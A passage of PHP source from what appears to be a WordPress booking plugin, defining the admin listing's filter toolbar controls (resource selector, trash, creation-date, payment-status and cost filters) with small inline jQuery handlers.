$escaped_search_request_params, $defaults ){ $params = array( 'type' => 'button' , 'title' => __( 'Reset', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Reset search filter and user options to default values', 'booking' ) . '. ' . __( 'Show all bookings.', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_booking_send_search_request_with_params( { 'ui_reset': 'make_reset', 'page_num': 1 } );", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_settings_backup_restore', //'wpbc_icn_rotate_left', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button', // '' | 'wpbc_ui_button_primary' 'style' => '',// 'color: #ef6500;', //FixIn: 9.7.2.1 // Any CSS class here 'mobile_show_text' => !true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array() ); ?><div class="ui_element" style="margin-left: auto;"><?php wpbc_flex_button( $params ); ?></div><?php } // --------------------------------------------------------------------------------------------------------------------- /// 2nd row // --------------------------------------------------------------------------------------------------------------------- /** * Booking resources * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__booking_resources( $escaped_search_request_params, $defaults ){ if ( ! class_exists( 'wpdev_bk_personal' ) ) { return false; } $params_button = array( 'type' => 'button' , 'title' => '',//__( 'Reset', 'booking' ) . ' ', // Title of the button 'hint' => array( 'title' => __( 'Remove all booking resources', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "remove_all_options_from_choozen('#wh_booking_type');", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_close', 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => 'wpbc_booking_listing_reload_button') ); /** * result = {array} [12] 1 = {array} [10] booking_type_id = "1" title = "Standard" users = "3" import = null export = null cost = "25" default_form = "owner-custom-form-1" prioritet = "2" parent = "0" visitors = "2" 2 = {array} [10] booking_type_id = "2" title = "Apartment#1" ... */ $resources_sql_arr = wpbc_ajx_get_all_booking_resources_arr(); /** * $resources_arr = array( linear_resources = {array} [12] single_or_parent = {array} [5] child = {array} [2] ) * $resources_arr = {array} [3] linear_resources = {array} [12] 1 = {array} [12] booking_type_id = "1" title = "Standard" users = "3" import = null export = null cost = "25" default_form = "owner-custom-form-1" prioritet = "2" parent = "0" visitors = "2" id = "1" count = {int} 5 5 = {array} [12] booking_type_id = "5" title = "Standard-1" users = "1" import = null */ $resources_arr = wpbc_ajx_arrange_booking_resources_arr( $resources_sql_arr ); $style = ''; $select_box_options = array(); //FixIn: 4.3.2.1 if ( ! empty( $resources_arr ) ) { $linear_resources_arr = $resources_arr['linear_resources']; if ( count( $linear_resources_arr ) > 1 ) { $resources_id_arr = array(); foreach ( $linear_resources_arr as $bkr ) { $resources_id_arr[] = $bkr['id']; } $select_box_options[ /*implode( ',', $resources_id_arr )*/0 ] = array( 'title' => __( 'All resources', 'booking' ) , 'attr' => array( 'title' => '<strong>' . __( 'All resources', 'booking' ) . '</strong>' ) , 'style' => 'font-weight:600;' ); } foreach ( $linear_resources_arr as $bkr ) { $option_title = wpbc_lang( $bkr['title'] ); if ( isset( $bkr['parent'] ) ) { if ( $bkr ['parent'] == 0 ) { $option_title = $option_title; $style = 'font-weight:600;'; } else { $option_title = ' ' . $option_title; $style = 'font-weight:400;'; } } $select_box_options[ $bkr ['id'] ] = array( 'title' => $option_title , 'attr' => array( 'title' => $option_title ) , 'style' => $style ); } } $el_id = 'wh_booking_type'; $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => '' // __( 'Next Days', 'booking' ) // Label (optional) , 'style' => '' // CSS of select element , 'class' => 'chzn-select' // CSS Class of select element , 'multiple' => true , 'attr' => array( 'data-placeholder' => __( 'Select booking resources', 'booking' ) ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $select_box_options , 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code ); // Booking resources ?><div class="ui_element ui_nowrap"><?php wpbc_flex_select( $params_select ); wpbc_flex_button( $params_button ); ?></div><?php ?><script type="text/javascript"> function remove_all_options_from_choozen( selectbox_id ){ jQuery( selectbox_id + ' option' ).prop( 'selected', false ); // Disable selection in the real selectbox jQuery( selectbox_id ).trigger( 'chosen:updated' ); // Remove all fields from the Choozen field //FixIn: 8.7.9.9 jQuery( selectbox_id ).trigger( 'change' ); } if ( 'function' === typeof( jQuery("#<?php echo $el_id; ?>").chosen ) ) { jQuery( "#<?php echo $el_id; ?>" ).chosen( {no_results_text: "No results matched"} ); jQuery("#<?php echo $el_id; ?>").chosen().on('change', function(va){ // Catch any selections in the Choozen if ( jQuery( "#<?php echo $el_id; ?>" ).val() != null ){ //So we are having aready values jQuery.each( jQuery( "#<?php echo $el_id; ?>" ).val(), function ( index, value ){ if ( (value.indexOf( ',' ) > 0) || ('0' === value) ){ // Ok we are have array with all booking resources ID // Disable selection in the real selectbox jQuery( '#<?php echo $el_id; ?>' + ' option' ).removeAttr( 'selected' ); // Select "All resources" option in real selectbox jQuery( '#<?php echo $el_id; ?>' + ' option:first-child' ).prop( "selected", true ); //Highlight options in chosen, before removing jQuery( '#<?php echo $el_id; ?>_chosen li.search-choice:not(:contains(' + '<?php echo html_entity_decode( esc_js( __( 'All resources', 'booking' ) ) ); ?>' + '))' ) .fadeOut( 350 ).fadeIn( 300 ) .fadeOut( 350 ).fadeIn( 400 ) .fadeOut( 350 ).fadeIn( 300 ) .fadeOut( 350 ).fadeIn( 400 ) .animate( {opacity: 1}, 4000 ) ; // Update chosen LI choices, relative selected options in selectbox var all_resources_timer = setTimeout( function (){ jQuery( '#<?php echo $el_id; ?>' ).trigger( 'chosen:updated' ); // Remove all fields from the Choozen field }, 2000 ); var my_message = '<?php echo html_entity_decode( esc_js( __( 'Please note, its not possible to add new resources, if "All resources" option is selected. Please clear the selection, then add new resources.', 'booking' ) ), ENT_QUOTES ); ?>'; wpbc_admin_show_message( my_message, 'warning', 10000 ); } } ); } }); } else { alert( 'WPBC Error. JavaScript library "chosen" was not defined.' ); } </script><?php } /** * Existing | Trash | Any * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__existing_or_trash( $escaped_search_request_params, $defaults ){ $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_delete_outline', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() , 'hint' => array( 'title' => __('Show trashed or existing bookings' ,'booking') , 'position' => 'top' ) ); $el_id = 'wh_trash'; $params = array( 'id' => $el_id , 'default' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] , 'label' => '' , 'title' => '' //__('Bookings', 'booking') , 'hint' => array( 'title' => __('Show trashed or existing bookings' ,'booking') , 'position' => 'top' ) , 'li_options' => array( '0' => __( 'Existing', 'booking' ), 'trash' => __( 'In Trash / Rejected', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), 'any' => __( 'Any', 'booking' ) ) //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( '#{$el_id}' ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( { '{$el_id}': JSON.parse( jQuery( this ).val() )[0], 'page_num': 1 } );" ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php } /** * All bookings | New bookings | Imported bookings | Plugin bookings * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__all_or_new( $escaped_search_request_params, $defaults ){ $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_visibility', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() , 'hint' => array( 'title' => __('Filter bookings by additional criteria' ,'booking') , 'position' => 'top' ) ); $el_id = 'wh_what_bookings'; $params = array( 'id' => $el_id , 'default' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] , 'label' => '' , 'title' => '' //__('Show', 'booking') , 'hint' => array( 'title' => __('Filter bookings by additional criteria' ,'booking') , 'position' => 'top' ) , 'li_options' => array( 'all' => array( 'type' => 'simple', 'value' => 'any', 'title' => __( 'Any', 'booking' ) ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), 'new' => __( 'New', 'booking' ), 'imported' => __( 'Imported', 'booking' ), 'in_plugin' => __( 'Plugin bookings', 'booking' ) ) //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( '#{$el_id}' ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( { '{$el_id}': JSON.parse( jQuery( this ).val() )[0], 'page_num': 1 } );" ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php } /** * "Creation Date" of bookings * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__creation_date( $escaped_search_request_params, $defaults ){ $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_edit_calendar', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() , 'hint' => array( 'title' => __('Filter bookings by creation booking date' ,'booking') , 'position' => 'top' ) ); $dates_interval = array( 1 => '1' . ' ' . __('day' ,'booking') , 2 => '2' . ' ' . __('days' ,'booking') , 3 => '3' . ' ' . __('days' ,'booking') , 4 => '4' . ' ' . __('days' ,'booking') , 5 => '5' . ' ' . __('days' ,'booking') , 6 => '6' . ' ' . __('days' ,'booking') , 7 => '1' . ' ' . __('week' ,'booking') , 14 => '2' . ' ' . __('weeks' ,'booking') , 30 => '1' . ' ' . __('month' ,'booking') , 60 => '2' . ' ' . __('months' ,'booking') , 90 => '3' . ' ' . __('months' ,'booking') , 183 => '6' . ' ' . __('months' ,'booking') , 365 => '1' . ' ' . __('Year' ,'booking') ); $el_id = 'wh_modification_date'; $request_input_el_default = array( $el_id => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ], 'ui_wh_modification_date_radio' => isset( $escaped_search_request_params['ui_wh_modification_date_radio'] ) ? $escaped_search_request_params['ui_wh_modification_date_radio'] : $defaults['ui_wh_modification_date_radio'], 'ui_wh_modification_date_prior' => isset( $escaped_search_request_params['ui_wh_modification_date_prior'] ) ? $escaped_search_request_params['ui_wh_modification_date_prior'] : $defaults['ui_wh_modification_date_prior'], 'ui_wh_modification_date_checkin' => isset( $escaped_search_request_params['ui_wh_modification_date_checkin'] ) ? $escaped_search_request_params['ui_wh_modification_date_checkin'] : $defaults['ui_wh_modification_date_checkin'], 'ui_wh_modification_date_checkout' => isset( $escaped_search_request_params['ui_wh_modification_date_checkout'] ) ? $escaped_search_request_params['ui_wh_modification_date_checkout'] : $defaults['ui_wh_modification_date_checkout'] ); $options = array ( '1' => __( 'Today', 'booking' ), '3' => __( 'All dates', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), // Prior [ '5', '10' ] 'prior' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'min-width: 244px;', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ) , 'text1' => ': ' , 4 => array( 'options' , $request_input_el_default[ 'ui_wh_modification_date_prior'] ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_modification_date_radio_2' // HTML ID of element , 'name' => 'ui_wh_modification_date_radio' , 'label' => array( 'title' => __('Prior' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '5' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_modification_date_radio' ] == '5' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element">' ) , array( 'type' => 'select' , 'attr' => array() , 'name' => 'ui_wh_modification_date_prior' , 'id' => 'ui_wh_modification_date_prior' , 'options' => $dates_interval , 'value' => $request_input_el_default[ 'ui_wh_modification_date_prior'] , 'onfocus' => "jQuery('#ui_wh_modification_date_radio_2').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), // Fixed [ '6', '', '2022-05-21'] 'fixed' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ), 7 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ), 'text1' => ': ', 4 => array( 'value' ), 'text2' => ' - ' ,7 => array( 'value' ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex:1 1 100%;margin-top:5px;">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_modification_date_radio_3' // HTML ID of element , 'name' => 'ui_wh_modification_date_radio' , 'label' => array( 'title' => __('Dates' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => '6' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_modification_date_radio' ] == '6' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 4px 4px 0;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_modification_date_checkin' // HTML ID of element , 'name' => 'ui_wh_modification_date_checkin' , 'label' => ''//__('Check-in' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('From' ,'booking') // date( 'Y-m-d' ) , 'value' => $request_input_el_default[ 'ui_wh_modification_date_checkin'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_modification_date_radio_3').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex-flow: row wrap;padding: 4px 0 4px 4px;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_modification_date_checkout' // HTML ID of element , 'name' => 'ui_wh_modification_date_checkout' , 'label' => ''//__('Check-out' ,'booking') , 'style' => 'width:100%;' // CSS of select element , 'class' => 'wpdevbk-filters-section-calendar' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('To' ,'booking') // date( 'Y-m-d' ) , 'value' => $request_input_el_default[ 'ui_wh_modification_date_checkout'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_modification_date_radio_3').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), 'divider3' => array( 'type' => 'html', 'html' => '<hr/>' ), // Buttons 'buttons1' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'justify-content: flex-end;', 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0;">' ) , array( 'type' => 'button' , 'title' => __( 'Apply', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_apply_click( { 'dropdown_id' : 'wh_modification_date', 'dropdown_radio_name': 'ui_wh_modification_date_radio' } );" // JavaScript code , 'class' => 'wpbc_ui_button_primary' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0 0 0 1em;">' ) , array( 'type' => 'button' , 'title' => __( 'Close', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_close_click( 'wh_modification_date' );" // JavaScript code , 'class' => '' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), ); $params = array( 'id' => $el_id , 'default' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] , 'label' => '' , 'title' => ''//__('Creation', 'booking') , 'hint' => array( 'title' => __('Filter bookings by creation booking date' ,'booking') , 'position' => 'top' ) , 'li_options' => $options //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( '#{$el_id}' ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( { '{$el_id}': JSON.parse( jQuery( this ).val() ), 'page_num': 1 " // // Frontend selected elements (saving for future use, after F5) // . " ,'ui_wh_modification_date_radio' : jQuery( 'input[name=\"ui_wh_modification_date_radio\"]:checked' ).val()" // . " ,'ui_wh_modification_date_prior' : jQuery( '#ui_wh_modification_date_prior' ).val()" // . " ,'ui_wh_modification_date_checkin' : jQuery( '#ui_wh_modification_date_checkin' ).val()" // . " ,'ui_wh_modification_date_checkout': jQuery( '#ui_wh_modification_date_checkout' ).val()" // ."} );" ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php } /** * Payment Status * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__payment_status( $escaped_search_request_params, $defaults ){ if ( ! class_exists( 'wpdev_bk_biz_s' ) ) { return false; } $params_addon = array( 'type' => 'span' , 'html' => ''// '<i class="menu_icon icon-1x wpbc_icn_event"></i>' //'<strong>' . __( 'Dates', 'booking ' ) . '</strong>' , 'icon' => array( 'icon_font' => 'wpbc_icn_payments', 'position' => 'right', 'icon_img' => '' ) , 'class' => 'wpbc_ui_button inactive' , 'style' => '' , 'attr' => array() , 'hint' => array( 'title' => __('Filter bookings by payment status' ,'booking') , 'position' => 'top' ) ); $el_id = 'wh_pay_status'; $request_input_el_default = array( $el_id => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ], 'ui_wh_pay_status_radio' => isset( $escaped_search_request_params['ui_wh_pay_status_radio'] ) ? $escaped_search_request_params['ui_wh_pay_status_radio'] : $defaults['ui_wh_pay_status_radio'], 'ui_wh_pay_status_custom' => isset( $escaped_search_request_params['ui_wh_pay_status_custom'] ) ? $escaped_search_request_params['ui_wh_pay_status_custom'] : $defaults['ui_wh_pay_status_custom'] ); $options = array ( 'all' => __( 'Any Status', 'booking' ), 'divider0' => array( 'type' => 'html', 'html' => '<hr/>' ), 'group_ok' => __( 'Paid OK', 'booking' ), 'group_unknown' => __( 'Unknown Status', 'booking' ), 'group_pending' => __( 'Not Completed', 'booking' ), 'group_failed' => __( 'Failed', 'booking' ), 'divider1' => array( 'type' => 'html', 'html' => '<hr/>' ), // Fixed [ '6', '', '2022-05-21'] 'custom' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'selected_options_value' => array( 1 => array( 'value' ), 4 => array( 'value' ) ), // 4 => array( 'value' ) --> $complex_option['input_options'][4]['value'] 'selected_options_title' => array( 1 => array( 'label', 'title' ), 'text1' => ': ', 4 => array( 'value' ) ), // 1 => array( 'label', 'title' ) --> $complex_option['input_options'][1]['label'][ 'title' ] 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex:1 1 100%;margin-top:5px;">' ) , array( 'type' => 'radio' , 'id' => 'ui_wh_pay_status_radio_1' // HTML ID of element , 'name' => 'ui_wh_pay_status_radio' , 'label' => array( 'title' => __('Custom' ,'booking') , 'position' => 'right' ) , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => 'user_entered' // Some Value from optins array that selected by default , 'selected' => ( $request_input_el_default[ 'ui_wh_pay_status_radio' ] == 'user_entered' ) ? true : false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex:1 1 100%;">' ) , array( 'type' => 'text' , 'id' => 'ui_wh_pay_status_custom' // HTML ID of element , 'name' => 'ui_wh_pay_status_custom' , 'label' => ''//__('Check-out' ,'booking') , 'style' => 'max-width:100%;width:100%;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => __('Payment status' ,'booking') // date( 'Y-m-d' ) , 'value' => $request_input_el_default[ 'ui_wh_pay_status_custom'] // Some Value from optins array that selected by default , 'onfocus' => "jQuery('#ui_wh_pay_status_radio_1').prop('checked', true);" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), // Buttons 'buttons1' => array( 'type' => 'complex', 'class' => 'ui_complex_option_element', 'style' => 'justify-content: flex-end;', 'input_options' => array( array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0;">' ) , array( 'type' => 'button' , 'title' => __( 'Apply', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_apply_click( { 'dropdown_id' : 'wh_pay_status', 'dropdown_radio_name': 'ui_wh_pay_status_radio' } );" // JavaScript code , 'class' => 'wpbc_ui_button_primary' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) , array( 'type' => 'html', 'html' => '<div class="ui_element" style="flex: 0 1 auto;margin: 0 0 0 1em;">' ) , array( 'type' => 'button' , 'title' => __( 'Close', 'booking' ) // Title of the button , 'hint' => '' // , 'hint' => array( 'title' => __('Select status' ,'booking') , 'position' => 'bottom' ) , 'link' => 'javascript:void(0)' // Direct link or skip it , 'action' => "wpbc_ui_dropdown_close_click( 'wh_pay_status' );" // JavaScript code , 'class' => '' // wpbc_ui_button | wpbc_ui_button_primary , 'icon' => '' , 'font_icon' => '' , 'icon_position' => 'left' // Position of icon relative to Text: left | right , 'style' => '' // Any CSS class here , 'mobile_show_text' => false // Show or hide text, when viewing on Mobile devices (small window size). , 'attr' => array() ) , array( 'type' => 'html', 'html' => '</div>' ) ) ), ); $params = array( 'id' => $el_id , 'default' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] , 'label' => '' , 'title' => ''//__('Payment', 'booking') , 'hint' => array( 'title' => __('Filter bookings by payment status' ,'booking') , 'position' => 'top' ) , 'li_options' => $options //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( '#{$el_id}' ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code ///*, 'onchange' =>*/. "wpbc_ajx_booking_send_search_request_with_params( { '{$el_id}': JSON.parse( jQuery( this ).val() ), 'page_num': 1 " // // Frontend selected elements (saving for future use, after F5) // . " ,'ui_wh_pay_status_radio' : ( undefined === jQuery( 'input[name=\"ui_wh_pay_status_radio\"]:checked' ).val() ) ? '' : jQuery( 'input[name=\"ui_wh_pay_status_radio\"]:checked' ).val()" // . " ,'ui_wh_pay_status_custom' : jQuery( '#ui_wh_pay_status_custom' ).val()" // ."} );" ); ?><div class="ui_element ui_nowrap"><?php wpbc_flex_addon( $params_addon ); wpbc_flex_dropdown( $params ); ?></div><?php } /** * Costs Min - Max * * @param $escaped_search_request_params - escaped search request parameters array * @param $defaults - default parameters values */ function wpbc_ajx__ui__cost_min_max( $escaped_search_request_params, $defaults ){ if ( ! class_exists( 'wpdev_bk_biz_s' ) ) { return false; } $el_id = 'wh_cost'; $params = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __( 'Cost', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 69px;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '0' , 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element" style="margin-right: 5px;"><?php wpbc_flex_text( $params ); ?></div><?php $el_id = 'wh_cost2'; $params = array( 'id' => $el_id // HTML ID of element , 'name' => $el_id , 'label' => '<span class="" style="font-weight:600;"> ‐ </span>' , 'style' => 'max-width: 69px;' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'placeholder' => '10000' , 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "console.log( 'ON CHANGE:', jQuery( this ).val() , 'in element:' , jQuery( this ) );" // JavaScript code ); ?><div class="ui_element"><?php wpbc_flex_text( $params ); ?></div><?php } /** * Reload button - force loading of 